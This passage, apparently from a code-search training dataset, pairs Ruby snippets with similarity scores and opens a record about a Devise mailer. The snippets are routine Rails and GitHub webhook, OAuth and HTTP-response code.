seconds\"\n sleep 1\n slept += 1\n end\n end\n sleep([0, to_sleep].max)\n t.exit\n end\n end\n end", "def ci_hook\n case request.headers['HTTP_X_GITHUB_EVENT']\n when 'pull_request'\n data = JSON.parse(request.raw_post)\n pull_request = data['pull_request']\n case data['action']\n when 'opened', 'synchronize'\n commits = JSON.parse(Net::HTTP.get_response(URI.parse(pull_request['commits_url'])).body)\n commits.each do |commit|\n APIHelper.authorized_post(\n \"https://api.github.com/repos/Charcoal-SE/SmokeDetector/statuses/#{commit['sha']}\",\n state: 'pending',\n description: 'An Approve review is required before pull requests can be merged.',\n context: 'metasmoke/ci'\n )\n end\n render plain: \"#{commits.length} commits set to pending.\"\n else\n render(plain: 'Not a newly-opened or updated PR; not interested.') && return\n end\n when 'pull_request_review'\n data = JSON.parse(request.raw_post)\n pull_request = data['pull_request']\n review = data['review']\n if data['action'] == 'submitted' && review['state'] == 'approved'\n commits = JSON.parse(Net::HTTP.get_response(URI.parse(pull_request['commits_url'])).body)\n commits.each do |commit|\n APIHelper.authorized_post(\n \"https://api.github.com/repos/Charcoal-SE/SmokeDetector/statuses/#{commit['sha']}\",\n state: 'success',\n description: 'PR approved :)',\n context: 'metasmoke/ci'\n )\n end\n\n render plain: \"#{commits.length} commits approved.\"\n else\n render(plain: 'Not a submitted Approve review; not interested.') && return\n end\n else\n render(plain: \"Pretty sure we don't subscribe to that event.\") && return\n end\n end", "def finish_with( http_status, message, otherstuff={} )\n\t\thttp_response = otherstuff.merge( :status => http_status, :message => message )\n\t\tthrow :finish, http_response\n\tend", "def do_request(request, response)\n body = make_request(request)\n\n # Always 200. A simplification, but fine for user\n # error messages.\n response.status = 200\n response['Content-Type'] = 'text/html' \n response.body = body\n end", "def make_response(status, body)\n {\n statusCode: status,\n body: JSON.pretty_generate(body)\n }\nend", "def output(options, &block)\n config = GithubCLI.config\n format = options.fetch(:format) {\n options[\"format\"] || config.fetch('core.format') || :table }\n quiet = options.fetch(:quiet) { config.fetch('core.quiet') }\n\n GithubCLI.on_error do\n response = block.call\n if response.respond_to?(:body)\n formatter = Formatter.new(response, format: format, quiet: quiet)\n formatter.render_output\n else\n GithubCLI.ui.info \"#{response}\\n\"\n end\n response\n end\n end", "def handle_repo_push_request\n return unless @repository\n\n branch_name = payload[\"ref\"].sub(%r{\\Arefs/heads/}, '')\n branch = @repository.branches.where(name: branch_name).first\n if branch.present? && branch.convergence? && @repository.run_ci?\n sha = payload[\"after\"]\n branch.kickoff_new_build_unless_currently_busy(sha)\n end\n end", "def invoke\n res = catch(:halt) { yield }\n res = [res] if Fixnum === res || String === res\n if Array === res && Fixnum === res.first\n res = res.dup\n status(res.shift)\n body(res.pop)\n headers(*res)\n elsif res.respond_to? :each\n body res\n end\n nil # avoid double setting the same response tuple twice\n end", "def integration\n body = JSON.parse(request.body.read)\n\n if body.key?(\"zen\")\n head :ok\n return\n end\n\n request.body.rewind\n\n event = request.headers[\"X-GitHub-Event\"]\n case event\n when \"push\"\n ref = body[\"ref\"]\n unless ref == \"refs/heads/master\"\n head :ok\n return\n end\n\n ReceivePushEvent.perform_async(\n body[\"repository\"][\"full_name\"],\n body.dig(\"installation\", \"id\")\n )\n when \"pull_request\"\n pull_request\n return\n when \"issue_comment\"\n issue_comment\n return\n when \"installation\"\n ReceiveInstallationRepositoriesEvent.perform_async(\n body[\"repositories\"],\n body.dig(\"installation\", \"id\")\n )\n when \"installation_repositories\"\n ReceiveInstallationRepositoriesEvent\n .perform_async(\n body[\"repositories_added\"],\n body.dig(\"installation\", \"id\")\n )\n end\n\n head :accepted\n end", "def create\n # Create an empty repo in memory\n repo = Repo.new\n \n # Var. 1) Github Repo posted to \"/addrepo?url=\"\n if params[:url]\n url = params[:url]\n # Strip url of leading or trailing whitespace\n # Gsub part of url that is not nescessary\n ident = url.gsub(\"https://github.com/\", \"\").strip\n \n # Split repo ident\n repo.owner = ident.split(\"/\")[0]\n repo.name = ident.split(\"/\")[1]\n repo.ident = ident\n end\n \n # Var. 2) Github Repo is being added by posting to \"/repo\" through form\n if params[:repo]\n # Remove leading and trialing whitespace\n repo.owner = params[:repo][:owner].strip\n repo.name = params[:repo][:name].strip\n repo.ident = repo.owner + \"/\" + repo.name\n end\n \n respond_to do |format|\n if Repo.find_by_ident(repo.ident).nil?\n # Repo is not yet listed\n if repo.save # Check if validations pass\n # Validations passed\n if Repo.init_repo(repo.id)\n # Repo could be found on Github\n format.html { redirect_to repo, notice: \"Success! You added '#{repo.owner}/#{repo.name}' successfully. Thanks for helping to improve this site! You might tag this repo!!!\" }\n else\n # Repo could not be found on Github and was deleted\n format.html { redirect_to root_url, notice: \"Sorry. I could not find '#{repo.owner}/#{repo.name} on github. Spelled everything correctly?\"}\n end\n # Repo validation fails while performing initialization\n format.html { redirect_to root_url, notice: \"Repo validation failed. Please mail our team with details how you managed to get this error.\"}\n else\n # Validation failed\n format.html { redirect_to root_url, notice: \"Sorry, I could not recognize a repo owner and name in there. My bad.\" }\n end\n \n else\n # Repo already listed \n repo = Repo.find_by_ident(repo.ident) \n format.html { redirect_to repo, notice: \"Double success! '#{repo.owner}/#{repo.name}' is listed already. Checkout the tags below and refine them to do some good for your fellow human programmers. Thanks!\"}\n end\n end\n end", "def create\n\t\t# we're sent here by the GET '/auth' => 'sessions#create' route\n\t\t# response = Faraday.post(\"https://github.com/login/oauth/access_token\") do |request|\n\t\t# \trequest.headers['Accept'] = 'application/json'\n\t\t# \trequest.body = JSON.generate({\n\t\t# \t\t\t'client_id': ENV[\"GITHUB_CLIENT_ID\"],\n\t\t# \t\t\t'client_secret': ENV[\"GITHUB_CLIENT_SECRET\"],\n\t\t# \t\t\t'code': params[:code]\n\t\t# \t\t})\n\t\t# end\n\t\t# could also be written \n\t\tresponse = Faraday.post \"https://github.com/login/oauth/access_token\", {client_id: ENV[\"GITHUB_CLIENT_ID\"], client_secret: ENV[\"GITHUB_CLIENT_SECRET\"],code: params[:code]}, {'Accept' => 'application/json'}\n\n\t\t# this is sent back by github under the following form by default\n\t\t# access_token=e72e16c7e42f292c6912e7710c838347ae178b4a&scope=user%2Cgist&token_type=bearer\n\t\t# and since we asked for headers \"Accept: application/json\"\n\t\t# {\"access_token\":\"e72e16c7e42f292c6912e7710c838347ae178b4a\", \"scope\":\"repo,gist\", \"token_type\":\"bearer\"}\n\t\taccess_hash = JSON.parse(response.body)\n\t\tsession[:token] = access_hash[\"access_token\"]\n\n\t\t##### Now we have the token and we can use it to access the API\n\n\t\t# we make a call to get the username\n\t\tuser_response = Faraday.get \"https://api.github.com/user\", {}, {'Authorization' => \"token #{session[:token]}\", 'Accept' => 'application/json'}\n\t\t# parse the response body\n\t\tuser_json = JSON.parse(user_response.body)\n\t\t# set the username into the session\n\t\tsession[:username] = user_json[\"login\"]\n\t\tbinding.pry\n\t\t# next step happens in the root path (repositories#index)\n\t\tredirect_to root_path\n\tend", "def make_response(status, body)\n {\n statusCode: status,\n body: JSON.generate(body)\n }\nend", "def make_response(status, body)\n {\n statusCode: status,\n body: JSON.generate(body)\n }\nend", "def request_and_handle http_method, path, options\n if http_method.is_a?(String) || http_method.is_a?(Symbol)\n http_method = HTTP_METHODS[http_method.to_s]\n raise \"Unknown http method: #{http_method}\" unless http_method\n end\n \n req_options = default_options.dup\n req_options = req_options.merge(options)\n \n raise ConfigurationError.new \"No endpoint defined\" if !path || path.empty?\n raise ConfigurationError.new \"No hostname defined\" if !req_options[:base_uri] || req_options[:base_uri].empty?\n \n # prepare request\n req = HTTParty::Request.new http_method, path, req_options\n\n # Sanitized request for logs\n safe_req_options = strip_unsafe_params(http_method, req_options)\n req_to_output = HTTParty::Request.new http_method, path, safe_req_options\n req_for_airbrake = { :method => http_method, :path => path, :options => safe_req_options }\n\n begin\n response = req.perform\n rescue => ex\n raise CityGridExceptions::RequestError.new req_for_airbrake, ex\n ensure\n if CityGrid.print_curls? \n if defined?(Rails.logger)\n Rails.logger.info req_to_output.to_curl\n else\n puts req_to_output.to_curl\n end\n end\n end\n\n \n begin \n # catch unparsable responses (html etc)\n if !response.parsed_response.is_a?(Hash)\n #pp \"[gem] the response was unparsable (response was not a hash)\"\n raise CityGridExceptions::ResponseParseError.new req_for_airbrake, response\n # catch responses not in new response format\n elsif response[\"errors\"]\n #pp \"[gem] An error in the old response format was caught. Raising a general response error...\"\n raise CityGridExceptions::ResponseError.new req_for_airbrake, response[\"errors\"], response\n\n # Parse and handle new response codes \n elsif (response[\"response\"] && response[\"response\"][\"code\"] != \"SUCCESS\") && \n (response[\"response\"] && response[\"response\"][\"code\"] != 200) && \n (response[\"response\"] && response[\"response\"][\"code\"] != 400) \n error_code = response[\"response\"][\"code\"]\n #pp \"[gem] The response was contained in the first level of the response hash. Below:\"\n #pp response\n #pp \"found error code: #{error_code}\"\n #pp \"****************************************************************************\"\n raise CityGridExceptions.appropriate_error(error_code).new req_for_airbrake, response, response[\"response\"][\"message\"].to_s #+ \" \" + CityGridExceptions.print_superclasses(error_code)\n # if the response is a nested hash/nested hash containing arrays\n elsif response[\"totalNumEntries\"] && response[\"response\"].nil?\n #pp \"[gem] now parsing a response with multiple entries: #{response}\"\n error_code = parse_multiple_responses(response)\n #pp \"the error code that came back is #{error_code}\"\n if error_code.nil? || error_code == []\n #pp \"[gem] passing over this for now\"\n return CityGrid::API::Response.new response # pass over for now\n elsif error_code[0] == \"SUCCESS\" || error_code[0] == 200 || error_code[0] == 400\n return CityGrid::API::Response.new response\n else \n #pp \"[gem] we found an error and it was #{error_code[1]}\"\n raise CityGridExceptions.appropriate_error(error_code[0]).new req_for_airbrake, response, error_code[1].to_s + \" \"# + CityGridExceptions.print_superclasses(error_code[0])\n end\n else\n return CityGrid::API::Response.new response\n end\n rescue => ex\n pp \"The gem threw an error: #{ex}\"\n raise ex if CityGrid.raise_errors?\n end\n end", "def create\n resp = Faraday.post('https://api.github.com/user/repos') do |req|\n req.body = {'name': params[:name]}.to_json\n req.headers['Authorization'] = 'token ' + session[:token]\n req.headers['Accept'] = 'application/json'\n end\n redirect_to '/'\n end", "def ok; @status = 200 end", "def ok; @status = 200 end", "def pull_request(branch_name, m = nil)\n Retryable.do { api.pull_requests.list(api.user, api.repo) }.find { |pr| pr[\"head\"][\"ref\"] == branch_name }\n rescue Github::Error::ResourceNotFound\n if m\n m.user.msg \"sorry, but an error occurred while fetching your pull request\"\n end\n end", "def git_receive_pack\n render_ok\n end", "def parse_response_body(body)\r\n case body\r\n when SUCCESS_REGEXP\r\n log :success, $1\r\n $1\r\n when FAILURE_REGEXP \r\n log :failure, $1.gsub(\"<BR>\", \"\\n\")\r\n nil\r\n else \r\n raise \"unparseable response: #{body}\"\r\n end\r\n end", "def execute(message)\n failure_wrap(message) do |_|\n info = token_lookup(message[:message])\n if(!info.empty? && info[:account_name])\n path = parse_path(message[:message][:request].path)\n if(info[:account_name] == :auth_disabled)\n asset_key = File.join('published-repositories', path[:_leftover].to_s)\n else\n asset_key = File.join('published-repositories', info[:account_name], path[:_leftover].to_s)\n end\n info \"Processing repository request for `#{info[:account_name]}` for item: #{asset_key}\"\n begin\n if(config.fetch(:repository, :stream, true))\n debug \"Delivery of asset `#{asset_key}` via stream\"\n asset_store.url(asset_key) # force error if 404\n begin\n message[:message][:request].respond(:ok, :transfer_encoding => :chunked)\n asset_store.get(asset_key) do |chunk|\n message[:message][:request] << chunk\n end\n ensure\n message[:message][:request].finish_response\n message[:message][:connection].close\n message[:message][:confirmed] = true\n end\n else\n debug \"Delivery of asset `#{asset_key}` via 302 redirect\"\n message.confirm!(\n :code => :found,\n 'Location' => asset_store.url(asset_key)\n )\n end\n rescue Jackal::Assets::Error::NotFound\n message.confirm!(\n :code => :not_found,\n :response_body => 'File not found!'\n )\n end\n else\n if(message[:message][:authentication].empty?)\n info \"Access denied for request (no credentials provided): #{message[:message][:connection].remote_addr} to #{message[:message][:request].path}\"\n message.confirm!(\n :code => :unauthorized,\n 'WWW-Authenticate' => 'Basic realm=\"Restricted storage\"',\n :response_body => 'Access denied! [credentials required]'\n )\n else\n info \"Access denied for request (invalid credentials): #{message[:message][:connection].remote_addr} to #{message[:message][:request].path}\"\n message.confirm!(:code => :unauthorized, :response_body => 'Access denied! [invalid credentials]')\n end\n end\n end\n end", "def inspector_could_not_create_report(error, query, inspector)\n puts \"Could not access the GitHub API, you may have better luck via the website.\"\n puts \"https://github.com/#{inspector.repo_owner}/#{inspector.repo_name}/search?q=#{query}&type=Issues&utf8=✓\"\n puts \"Error: #{error.name}\"\n print_open_link_hint(true)\n end", "def handle_response(response); end", "def handle_response(response); end", "def make_response(status, body)\n {\n statusCode: status,\n body: JSON.generate(body)\n }\nend", "def any_status_hook\n repo = params[:name]\n link = \"https://github.com/#{repo}\"\n sha = params[:sha]\n state = params[:state]\n context = params[:context]\n description = params[:description]\n target = params[:target_url]\n\n return if state == 'pending' || (state == 'success' && context == 'github/pages')\n\n if repo == 'Charcoal-SE/metasmoke' && context.start_with?('ci/circleci')\n ci_counter = Redis::CI.new(sha)\n if state == 'success'\n ci_counter.sucess_count_incr\n return unless ci_counter.sucess_count == 3\n context = 'ci/circleci'\n else\n ci_counter.sucess_count_reset\n end\n end\n\n message = \"[ [#{repo.sub('Charcoal-SE/', '')}](#{link}) ]\"\n message += \" #{context} \"\n message += if target.present?\n \"[#{state}](#{target})\"\n else\n state\n end\n message += \" on [#{sha.first(7)}](#{link}/commit/#{sha.first(10)})\"\n message += \": #{description}\" if description.present?\n\n ActionCable.server.broadcast 'smokedetector_messages', message: message\n end", "def status_code; 422; end", "def status_code; 422; end", "def status_code; 422; end", "def status_code; 422; end", "def on_github?\n response = github_client_request(client, id, headers: GitHub::APIHeaders.no_cache_no_store)\n response ||= github_classroom_request(id, headers: GitHub::APIHeaders.no_cache_no_store)\n response.present?\n end", "def handle_response(response)\n case response.code\n when 200..299\n response\n else\n if response.request.format == :json\n raise FreebaseAPI::ServiceError.new(response['error'])\n else\n raise FreebaseAPI::NetError.new('code' => response.code, 'message' => response.response.message)\n end\n end\n end", "def error!(status, message)\n response.status = status\n response[\"Content-Type\"] = \"application/json\"\n response.write({error: message}.to_json)\n request.halt\n end", "def profile_exists? github_id\n # Commenting this out because it takes too much time to verify in India\n # 2/4/2015 @vyder\n # TODO: Make this check optional\n true\n # http_status_code = %x( curl -s -o /dev/null -w \"%{http_code}\" https://github.com/#{github_id})\n #\n # http_status_code == \"200\"\nend", "def gh_pull_request(data, config)\n action = data['action'] || nil\n pr = data['pull_request'] || nil\n\n Cyclid.logger.debug \"action=#{action}\"\n return true unless action == 'opened' \\\n or action == 'reopened' \\\n or action == 'synchronize'\n\n # Get the list of files in the root of the repository in the\n # Pull Request branch\n html_url = URI(pr['base']['repo']['html_url'])\n pr_sha = pr['head']['sha']\n ref = pr['head']['ref']\n\n Cyclid.logger.debug \"sha=#{pr_sha} ref=#{ref}\"\n\n # Get some useful endpoints & interpolate the SHA for this PR\n url = pr['head']['repo']['statuses_url']\n statuses = url.gsub('{sha}', pr_sha)\n\n url = pr['head']['repo']['trees_url']\n trees = url.gsub('{/sha}', \"/#{pr_sha}\")\n\n # Get an OAuth token, if one is set for this repo\n Cyclid.logger.debug \"attempting to find auth token for #{html_url}\"\n auth_token = nil\n config['repository_tokens'].each do |entry|\n entry_url = URI(entry['url'])\n auth_token = entry['token'] if entry_url.host == html_url.host && \\\n entry_url.path == html_url.path\n end\n\n # XXX We probably don't want to be logging auth tokens in plain text\n Cyclid.logger.debug \"auth token=#{auth_token}\"\n\n # Set the PR to 'pending'\n GithubStatus.set_status(statuses, auth_token, 'pending', 'Preparing build')\n\n # Get the Pull Request\n begin\n trees_url = URI(trees)\n Cyclid.logger.debug \"Getting root for #{trees_url}\"\n\n request = Net::HTTP::Get.new(trees_url)\n request.add_field('Authorization', \"token #{auth_token}\") \\\n unless auth_token.nil?\n\n http = Net::HTTP.new(trees_url.hostname, trees_url.port)\n http.use_ssl = (trees_url.scheme == 'https')\n response = http.request(request)\n\n Cyclid.logger.debug response.inspect\n raise \"couldn't get repository root\" \\\n unless response.code == '200'\n\n root = Oj.load response.body\n rescue StandardError => ex\n Cyclid.logger.error \"failed to retrieve Pull Request root: #{ex}\"\n return_failure(500, 'could not retrieve Pull Request root')\n end\n\n # See if a .cyclid.yml or .cyclid.json file exists in the project\n # root\n job_url = nil\n job_type = nil\n root['tree'].each do |file|\n match = file['path'].match(/\\A\\.cyclid\\.(json|yml)\\z/)\n next unless match\n\n job_url = URI(file['url'])\n job_type = match[1]\n end\n\n Cyclid.logger.debug \"job_url=#{job_url}\"\n\n if job_url.nil?\n GithubStatus.set_status(statuses, auth_token, 'error', 'No Cyclid job file found')\n return_failure(400, 'not a Cyclid repository')\n end\n\n # Pull down the job file\n begin\n Cyclid.logger.info \"Retrieving PR job from #{job_url}\"\n\n request = Net::HTTP::Get.new(job_url)\n request.add_field('Authorization', \"token #{auth_token}\") \\\n unless auth_token.nil?\n\n http = Net::HTTP.new(job_url.hostname, job_url.port)\n http.use_ssl = (job_url.scheme == 'https')\n response = http.request(request)\n raise \"couldn't get Cyclid job\" unless response.code == '200'\n\n job_blob = Oj.load response.body\n case job_type\n when 'json'\n job_definition = Oj.load(Base64.decode64(job_blob['content']))\n when 'yml'\n job_definition = YAML.load(Base64.decode64(job_blob['content']))\n end\n\n # Insert this repository & branch into the sources\n #\n # XXX Could this cause collisions between the existing sources in\n # the job definition? Not entirely sure what the workflow will\n # look like.\n job_sources = job_definition['sources'] || []\n job_sources << { 'type' => 'git',\n 'url' => html_url.to_s,\n 'branch' => ref,\n 'token' => auth_token }\n job_definition['sources'] = job_sources\n\n Cyclid.logger.debug \"sources=#{job_definition['sources']}\"\n rescue StandardError => ex\n GithubStatus.set_status(statuses,\n auth_token,\n 'error',\n \"Couldn't retrieve Cyclid job file\")\n Cyclid.logger.error \"failed to retrieve Github Pull Request job: #{ex}\"\n raise\n end\n\n Cyclid.logger.debug \"job_definition=#{job_definition}\"\n\n begin\n callback = GithubCallback.new(statuses, auth_token)\n job_from_definition(job_definition, callback)\n rescue StandardError => ex\n GithubStatus.set_status(statuses, auth_token, 'failure', ex)\n return_failure(500, 'job failed')\n end\n end", "def process_response(response)\n case response.code.to_i\n when 200, 404\n parse_message response.body\n when 401, 500\n error_message = parse_message response.body\n raise \"Unauthorized: #{error_message['error']['message']}\"\n else\n raise \"Response code #{response.code} not recognized\"\n end\n end", "def error code, body=nil\n code, body = 500, code if code.respond_to? :to_str\n @response.body = body unless body.nil?\n halt code\n end", "def make_response(status, body)\r\n {\r\n statusCode: status,\r\n body: JSON.generate(body)\r\n }\r\nend", "def reply_http(env, body, code=200, headers={\"Content-type\" => \"text/html\"})\n self.reply(env, http_response(body, code, headers))\n end", "def respond_bad_request; make_response(nil, false, 400, \"Bad Request\") end", "def process_response(url, response)\n json = response.parsed_response\n response_code = json['responseCode']\n return json unless response_code != 1\n\n # we got an error response from the handle server, so convert it into\n # an actual exception and throw it here\n\n message = if json['message']\n json['message']\n elsif Error.response_codes.include? response_code\n Error.response_codes[response_code]\n else\n 'Unexpected error'\n end\n\n error = Error.new(response_code, message)\n error.handle = json['handle']\n error.url = url\n raise error\n end", "def github_access_token(code)\n uri = URI('https://github.com/login/oauth/access_token')\n req = Net::HTTP::Post.new(uri)\n # Set Accept type to app/json to receive response in JSON format\n req['Accept'] = 'application/json'\n req.set_form_data('client_id' => Rails.application.config.github_client_id, 'client_secret' => Rails.application.config.github_secret, 'code' => code)\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n res = http.request(req)\n\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n # Parse JSON response\n tokenResponse = ActiveSupport::JSON.decode res.body\n if tokenResponse['access_token']\n response = { 'success' => true, 'token' => tokenResponse['access_token']}\n else\n response = { 'success' => false, 'message' => tokenResponse['error_description']}\n end\n else\n response = { 'success' => false, 'message' => 'Error receiving access_token: ' + res.value}\n end\n\n return response\n end", "def error(code=500, body = nil)\n unless code.is_a?(Integer)\n body = code\n code = 500\n end\n\n response.status = code\n response.body = body if body\n halt\n end", "def perform\n resp = connection.get(request_uri)\n handle_response(resp)\n # If server returns 200, everything is OK.\n self.success = resp.status == 200\n rescue Faraday::Error => e\n self.response = { message: e.message }\n self.success = false\n rescue JSON::ParserError, ::EasyManageClient::InvalidResponseContent\n # Response cannot be handled.\n self.response = { message: 'Invalid response from the server.' }\n self.success = false\n end", "def _handle_response(response)\n \n \n # -- MAJOR EXCEPTION handling (authentication)\n \n if (response == Net::HTTPUnauthorized || response.message == 'Unauthorized') ||\n (response && response['status'].to_i == 403 && response['message'] == \"Access to group-memberships denied\")\n raise APIAuthError.new\n \n \n # -- STANDARD handling\n \n else\n \n hashed_response = nil\n \n # Check if the 'response.body' starts with an '<?xml' tag -> indicating it's XML structure\n if response.body =~ /\\A<\\?xml/ \n hashed_response = Hash.from_xml(response.body)\n else\n hashed_response = hash_a_json(response.body)\n end\n \n # -- Bad request (e.g. posting duplicate content)\n \n \n \n _res = { :response_http_object => response }\n \n \n # -- Bad request (e.g. posting duplicate content)\n \n if response == Net::HTTPBadRequest || response.message == \"Bad Request\" || response.code == 400\n _res[:status] = \"bad_request\"\n _res[:response_object] = hashed_response\n \n \n # -- API SERVICE ERROR\n \n elsif response == Net::HTTPInternalServerError || response.message == 'Internal Server Error' || response.code == 500\n _res[:status] = \"api_service_error\"\n _res[:response_object] = hashed_response\n \n \n # -- FORBIDDEN -> trying to use a resource the user is not allowed, store the 'body' as plain XML at this point\n \n elsif response == Net::HTTPForbidden || response.message == 'Forbidden'\n _res[:status] = \"denied_access\" # e.g. post to LinkedIn group required moderation by an admin\n _res[:response_object] = hashed_response\n \n # Check if additional permissions are required (SHARING)\n if _res[:response_object]['error']['message'] == 'Access to posting shares denied'\n raise APIAuthError.new\n end\n \n \n # -- POST / PUT\n \n elsif response.body.blank? || (response.body.nil? && response.code == 204) # A response without content -> successful \n _res[:status] = \"updated_successfully\"\n \n if response.body.blank?\n _res[:response_object] = {}\n else\n _res[:response_object] = hashed_response\n end\n \n \n # -- GET\n \n else\n _res[:status] = \"retrieved_successfully\"\n _res[:response_object] = hashed_response\n \n end\n \n end\n \n \n _res\n \n end", "def unauthorized\n client_id = ENV['GITHUB_CLIENT_ID']\n redirect_uri = ENV['GITHUB_REDIRECT']\n base = \"https://github.com/login/oauth/authorize\"\n href = \"#{base}?client_id=#{client_id}&redirect_uri=#{redirect_uri}\" \n res = {href: href} \n {statusCode: 403, headers: headers, body: res.to_json}\nend", "def stash_webhook\n unless @project.git?\n render status: :bad_request, text: 'Repository url is blank'\n return\n end\n\n revision = params[:sha]\n if revision.blank?\n render status: :bad_request, text: 'SHA is blank'\n return\n end\n\n other_fields = { description: 'Requested due to a Pull Request on Stash.' }\n CommitCreator.perform_once @project.id, revision, other_fields: other_fields\n render status: :ok, text: 'Success'\n end", "def handle_error(errors, status, content_type)\n if defined?(Rails)\n Rails.logger.warn \"RESPONSE STATUS: #{status}\"\n Rails.logger.warn errors\n end\n\n OpenStruct.new(success?: false, status: status, body: { errors: errors }, content_type: content_type)\n end", "def send_error_to_slack\n send_request_to_slack(make_error_response)\n end", "def call\n \n #parse the payload to determine which author by the github issue id\n author_issue_id = @payload['issue']['id']\n\n #grab the bio and update the author\n updated_author_bio = @payload['issue']['body']\n @author = Author.find_by issue_id: author_issue_id\n @author.biography = updated_author_bio\n \n if @author.save\n return true\n else\n return false\n end \n end", "def finish_request\n if (400..499).include? response.code\n set_error_body(response.code)\n end\n end", "def github\n process_oauth_callback\n end", "def create_success_response(message='')\n message = message.present? ? message : 'ok'\n response = {\n body: {\n status: message\n },\n status: 200\n }\n return response\n end", "def http_body\n body = response.body\n\n if body.empty?\n log_error('resposta-sem-conteudo')\n return { error: 'resposta-sem-conteudo', code: response.code }\n end\n parse_json(body)\n rescue IOError => e\n log_error(e.message, code: HTTP_UNPROCESSABLE_ENTITY)\n { error: e.message, code: HTTP_UNPROCESSABLE_ENTITY }\n end", "def test_push_nothing\n json = {:ref => 'refs/heads/master', :forced => false, :commits => [], :repository => {:name => 'web'}}.to_json\n post '/events', json\n assert_equal 422, last_response.status\n end", "def ok(body = \"\")\n [200, {}, body]\n end", "def handle_status(env)\n case env[:status]\n when BadSyntaxStatus then bad_syntax\n when AuthenticationFailed then authentication_failed\n when ResourceNotFoundError then resource_not_found_for(env)\n when ClientErrorStatuses then client_error_status_for(env[:body])\n when ServerErrorStatuses then server_error_status_for(env[:body])\n end\n end", "def api_response(*args) # :nodoc:\n code = args.first\n args.shift\n\n err = @@ERROR_CODES[code] || @@ERROR_CODES[:unknown]\n render :json => {\n :error => {\n :code => err[0],\n :message => err[1],\n },\n :content => args.first,\n }, :status => err[2]\n end" ]
[ "0.68274355", "0.6453231", "0.6271996", "0.61509717", "0.6090275", "0.60855705", "0.60430235", "0.5970443", "0.5966946", "0.5830605", "0.5812657", "0.5804717", "0.5800088", "0.57575405", "0.5746899", "0.5736847", "0.56812423", "0.5675688", "0.56490225", "0.5618825", "0.56120884", "0.55434906", "0.5531071", "0.5531071", "0.5531071", "0.55238664", "0.55203706", "0.55096173", "0.5481774", "0.5481774", "0.5473271", "0.54617697", "0.5459626", "0.54546297", "0.5443869", "0.54400176", "0.5436005", "0.54314196", "0.54284185", "0.54225713", "0.54113907", "0.540536", "0.5396489", "0.538403", "0.53803813", "0.53786", "0.53715295", "0.53656405", "0.5365065", "0.536443", "0.5357536", "0.5357051", "0.53477275", "0.53425825", "0.53425825", "0.5339236", "0.53382653", "0.5336004", "0.5336004", "0.5335975", "0.53276", "0.53164506", "0.5316418", "0.5315934", "0.53142345", "0.53142345", "0.5304196", "0.52997756", "0.52805406", "0.52805406", "0.52805406", "0.52805406", "0.528", "0.5278552", "0.5270983", "0.52629346", "0.5261357", "0.52608246", "0.5260609", "0.5260347", "0.52587295", "0.5242594", "0.5242566", "0.5241013", "0.52354294", "0.5234331", "0.52330947", "0.5228671", "0.52215374", "0.5201245", "0.5196256", "0.5194576", "0.5189117", "0.51844525", "0.51820153", "0.5180792", "0.51780164", "0.51740754", "0.51740724", "0.51697093" ]
0.66120815
1
to make sure that your mailer uses the devise views
def confirmation_instructions(record, token, _opts = {}) options = { to: record.email, subject: 'Welcome to Railway', template_id: 'f025ac9f-bcd3-41d7-a46a-fe8c43e3f27a', substitutions: { '-url-': confirmation_url(record, confirmation_token: token) } } sendgrid_send options end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show_notfication\n UserMailer.show_notfication\n end", "def mailer; end", "def show\n render layout: 'devise_layout' if current_user.present? && current_user.admin?\n end", "def send_devise_notification(notification, *args)\n if Rails.env.development?\n devise_mailer.send(notification, self, *args).deliver_later\n else\n super\n end\n end", "def reset_password_instructions(user, token, commit)\n @resource = user\n @token = token\n mail(:to => @resource.email, :subject => \"Reset password instructions\", :tag => 'password-reset', :content_type => \"text/html\") do |format|\n format.html { render \"devise/mailer/reset_password_instructions\" }\n end\n mail.delivery_method.settings.merge! @@smtp_settings\n mail\n end", "def show\n # @has_password = current_user.has_password?\n # @has_email = current_user.authentications.emails.active.any?\n end", "def show\n # @has_password = current_user.has_password?\n # @has_email = current_user.authentications.emails.active.any?\n end", "def devise_controller?; end", "def confirm!\n UserMailer.new_registration(self).deliver_now\n super\n end", "def welcome(user)\n mail(to: user.email, subject: \"[Blueprint] Thanks for registering!\") do |format|\n template = user.mentor? ? 'welcome_mentor' : 'welcome_hacker'\n format.html { render template }\n format.text { render template }\n end\n end", "def devise_mail(record, action, opts = T.unsafe(nil), &block); end", "def show_thank_you\n mail to: @guest.email, subject: \"We hope you enjoyed the show\"\n end", "def signup_confirmation(new_user)\n # @greeting = \"Hi\"\n @resource = new_user\n \n # mail to: new_user.email\n mail(to: @resource.email, subject: \"Welcome!\", :tag => 'password-reset', :content_type => \"text/html\") do |format|\n format.html { render \"user_mailer/signup_confirmation\" }\n end\n \n end", "def send_reset_password_instructions\n return unless EMAILS_ENABLED && !deleted?\n\n super\n end", "def send_on_create_confirmation_instructions\n if self.email.match /tu-dresden.de$/\n send_devise_notification(:confirmation_instructions)\n else\n false\n end\n end", "def email\n template = (params[:layout] || 'email').to_sym\n # template = :hero unless [:email, :hero, :simple, :new].include? template\n file = 'user_mailer/welcome_email'\n @user = (defined?(FactoryGirl) \\\n ? User.new( FactoryGirl.attributes_for :user )\n : User.new( email: 'test@example.com', first_name: 'John', last_name: 'Smith' ))\n render file, layout: \"emails/#{template}\"\n if params[:premail] == 'true'\n puts \"\\n!!! USING PREMAILER !!!\\n\\n\"\n pre = Premailer.new(response_body[0], warn_level: Premailer::Warnings::SAFE, with_html_string: true)\n reset_response\n # pre.warnings\n render text: pre.to_inline_css, layout: false\n end\n end", "def admin\n UserMailer.admin\n end", "def article_email\n UserMailer.article_email\n end", "def send_email\n true\n end", "def __file_templates\n return @__file_templates_data if @__file_templates_data\n\n @__file_templates_data = {}\n \n\n @__file_templates_data[\"templates/mailers/auth_mailer.rb\"] = <<~EOF\n\n# frozen_string_literal: true\n\n# user related mails\nclass AuthMailer < ApplicationMailer\n default from: 'from@example.com'\n layout 'mailer'\n\n def reset_password_email(user)\n @user = User.find user.id\n @url = edit_user_password_url(@user.reset_password_token)\n mail(to: @user.email, subject: 'Your password has been reset')\n end\nend\n\n\n EOF\n\n \n\n @__file_templates_data[\"templates/views/auth/passwords/new.html.erb\"] = <<~EOF\n\n<h1>forgot password</h1>\n<%= form_with url: { action: :create } do |f| %>\n <fieldset>\n <%= f.label :email %>\n <%= f.email_field :email %>\n </fieldset>\n <%= f.submit %>\n<% end %>\n\n\n EOF\n\n \n\n 